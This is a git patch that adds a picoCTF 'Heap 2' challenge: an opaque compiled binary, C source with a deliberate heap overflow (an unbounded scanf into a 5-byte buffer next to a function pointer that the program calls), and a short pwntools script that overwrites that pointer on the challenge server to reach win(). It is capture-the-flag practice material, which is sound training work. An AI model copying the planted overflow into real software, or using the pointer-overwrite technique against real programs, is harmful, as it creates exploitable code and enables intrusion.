From 4434a103bd65cc139513986860403f423ebf7a80 Mon Sep 17 00:00:00 2001 From: Maxime Vorwerk Date: Sat, 15 Jun 2024 14:58:30 +0200 Subject: [PATCH] Heap 2 --- heap_2/chall | Bin 0 -> 20416 bytes heap_2/chall.c | 92 +++++++++++++++++++++++++++++++++++++++++++++++++ heap_2/sol.py | 15 ++++++++ 3 files changed, 107 insertions(+) create mode 100755 heap_2/chall create mode 100755 heap_2/chall.c create mode 100755 heap_2/sol.py diff --git a/heap_2/chall b/heap_2/chall new file mode 100755 index 0000000000000000000000000000000000000000..f8f6289f332fdcc8b49fc1c7b4dd3cd8f1f1247d GIT binary patch literal 20416 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 literal 0 HcmV?d00001 diff --git a/heap_2/chall.c b/heap_2/chall.c new file mode 100755 index 0000000..57ca422 --- /dev/null +++ b/heap_2/chall.c @@ -0,0 +1,92 @@ +#include +#include +#include + +#define FLAGSIZE_MAX 64 + +int num_allocs; +char *x; +char *input_data; + +void win() { + // Print flag + char buf[FLAGSIZE_MAX]; + FILE *fd = fopen("flag.txt", "r"); + fgets(buf, FLAGSIZE_MAX, fd); + printf("%s\n", buf); + fflush(stdout); + + exit(0); +} + +void check_win() { ((void (*)())*(int*)x)(); } + +void print_menu() { + printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. " + "Exit\n\nEnter your choice: "); + fflush(stdout); +} + +void init() { + + printf("\nI have a function, I sometimes like to call it, maybe you should change it\n"); + fflush(stdout); + + input_data = malloc(5); + strncpy(input_data, "pico", 5); + x = malloc(5); + strncpy(x, "bico", 5); +} + +void write_buffer() { + printf("Data for buffer: "); + fflush(stdout); + scanf("%s", input_data); +} + +void print_heap() { + printf("[*] Address -> Value \n"); + printf("+-------------+-----------+\n"); + printf("[*] %p -> %s\n", input_data, input_data); + printf("+-------------+-----------+\n"); + printf("[*] %p -> %s\n", x, x); + fflush(stdout); +} + +int main(void) { + + // Setup + init(); + + int choice; + + while (1) { + print_menu(); + if (scanf("%d", &choice) != 1) exit(0); + + switch (choice) { + case 1: + // print heap + print_heap(); + break; + case 2: + write_buffer(); + break; + case 3: + // print x + printf("\n\nx = %s\n\n", x); + fflush(stdout); + break; + case 4: + // Check for win condition + check_win(); + break; + case 5: + // exit + return 0; + default: + printf("Invalid choice\n"); + fflush(stdout); + } + } +} diff --git a/heap_2/sol.py b/heap_2/sol.py new file mode 100755 index 0000000..27ecbce --- /dev/null +++ b/heap_2/sol.py @@ -0,0 +1,15 @@ +#!/home/maxime/.pyvenv/bin/python3 +from pwn import * + +conn = connect("mimas.picoctf.net", 51447) + +conn.recvuntil(b':') + +conn.sendline(b'2') + +conn.recvuntil(b':') + +conn.sendline(b'0' * 32 + b'\xa0\x11\x40') + +conn.interactive() +